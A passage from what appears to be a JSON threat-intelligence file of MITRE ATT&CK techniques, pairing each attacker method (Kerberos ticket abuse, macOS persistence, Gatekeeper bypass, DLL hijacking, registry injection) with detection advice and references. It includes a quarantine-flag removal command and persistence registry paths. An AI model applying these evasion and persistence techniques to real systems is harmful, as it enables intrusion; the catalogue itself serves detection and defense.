"Multiband Communication - T1026", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1026", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091" - }, - { - "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.\n\nContributors: Ryan Becwar, Vincent Le Toux", - "value": "Pass the Ticket - T1097", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1097", - "https://adsecurity.org/?p=556", - "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", - "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" - ], - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c" - }, - { - "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WinRM listener turned on and configured on remote system\n\nRemote Support: Yes", - "value": "Windows Remote Management - T1028", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1028", - "http://msdn.microsoft.com/en-us/library/aa384426", - "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2" - ], - "mitre_data_sources": [ - "File monitoring", - "Authentication logs", - "Netflow/Enclave netflow", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39" - }, - { - "description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: macOS\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator", - "value": "Launch Daemon - T1160", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1160", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf", - "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf" - ], - "mitre_data_sources": [ - "Process Monitoring", - "File monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4" - }, - { - "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.\n\nDetection: Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.\n\nPlatforms: macOS\n\nData Sources: System calls, Process Monitoring\n\nPermissions Required: Administrator", - "value": "Keychain - T1142", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1142", - "https://en.wikipedia.org/wiki/Keychain%20(software)", - "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" - ], - "mitre_data_sources": [ - "System calls", - "Process Monitoring" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d" - }, - { - "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring\n\nPermissions Required: User", - "value": "Audio Capture - T1123", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1123" - ], - "mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967" - }, - { - "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes", - "value": "Custom Cryptographic Protocol - T1024", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1024", - "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Malware reverse engineering", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" - }, - { - "description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: Yes", - "value": "Graphical User Interface - T1061", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1061" - ], - "mitre_data_sources": [ - "File monitoring", - "Binary file metadata", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228" - }, - { - "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\n\nDetection: Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: macOS\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator", - "value": "Gatekeeper Bypass - T1144", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1144", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/", - "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", - "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e" - }, - { - "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring\n\nRequires Network: Yes", - "value": "Fallback Channels - T1008", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1008", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Malware reverse engineering", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433" - }, - { - "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets)\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Anti-virus, System access controls\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Unpatched software or otherwise vulnerable target. Depending on the target and goal, the system and exploitable service may need to be remotely accessible from the internal network. In the case of privilege escalation, the adversary likely already has user permissions on the target system.\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", - "value": "Exploitation of Vulnerability - T1068", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1068", - "https://adsecurity.org/?p=1515", - "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx" - ], - "mitre_data_sources": [ - "Windows Error Reporting", - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839" - }, - { - "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User", - "value": "Hidden Files and Directories - T1158", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1158", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "https://www.paloaltonetworks.com/content/dam/pan/en%20US/assets/pdf/reports/Unit%2042/unit42-wirelurker.pdf" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93" - }, - { - "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.\n\nPlatforms: Linux, macOS, Windows\n\nDefense Bypassed: Anti-virus, Signature-based detection", - "value": "Binary Padding - T1009", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1009" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "519630c5-f03f-4882-825c-3af924935817" - }, - { - "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs\n\nDefense Bypassed: Anti-virus, Network intrusion detection system\n\nPermissions Required: User, Administrator, SYSTEM", - "value": "Redundant Access - T1108", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1108", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process use of network", - "Packet capture", - "Network protocol analysis", - "File monitoring", - "Binary file metadata", - "Authentication logs" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a" - }, - { - "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: Encryption software and encrypted files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known encryption utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. Often the encryption key is stated within command-line invocation of the software. \n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted data is being transmitted. (Citation: Zhang 2013) If the communications channel is unencrypted, encrypted files of known file types can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No", - "value": "Data Encrypted - T1022", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1022", - "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", - "https://en.wikipedia.org/wiki/List%20of%20file%20signatures" - ], - "mitre_data_sources": [ - "File monitoring", - "Binary file metadata", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638" - }, - { - "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path\n\nPermissions Required: User, Administrator", - "value": "Plist Modification - T1150", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1150", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "macOS" - ] - }, - "uuid": "06780952-177c-4247-b978-79c357fb311f" - }, - { - "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\n\nDetection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nPlatforms: Windows\n\nData Sources: File monitoring, DLL monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator, SYSTEM\n\nSystem Requirements: Ability to add a DLL, manifest file, or .local file, directory, or junction.\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire", - "value": "DLL Search Order Hijacking - T1038", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1038", - "http://msdn.microsoft.com/en-US/library/ms682586", - "https://www.owasp.org/index.php/Binary%20planting", - "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx", - "http://msdn.microsoft.com/en-US/library/ms682600", - "https://msdn.microsoft.com/en-US/library/aa375365", - "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/" - ], - "mitre_data_sources": [ - "File monitoring", - "DLL monitoring", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "46944654-fcc1-4f63-9dad-628102376586" - }, - { - "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options/ and HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\n\nDetection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM", - "value": "Image File Execution Options Injection - T1183", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1183", - "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/", - "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://www.f-secure.com/v-descs/backdoor%20w32%20hupigon%20emv.shtml", - "https://www.symantec.com/security%20response/writeup.jsp?docid=2008-062807-2501-99&tabid=2" - ], - "mitre_data_sources": [ - "Process Monitoring", - "Windows Registry", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows" - ] - }, - "uuid": "62166220-e498-410f-a90a-19d4339d4e99" - }, - { - "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration.\n\nAdversaries may search network shares on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access network shared drive", - "value": "Data from Network Shared Drive - T1039", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1039" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c" - }, - { - "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a 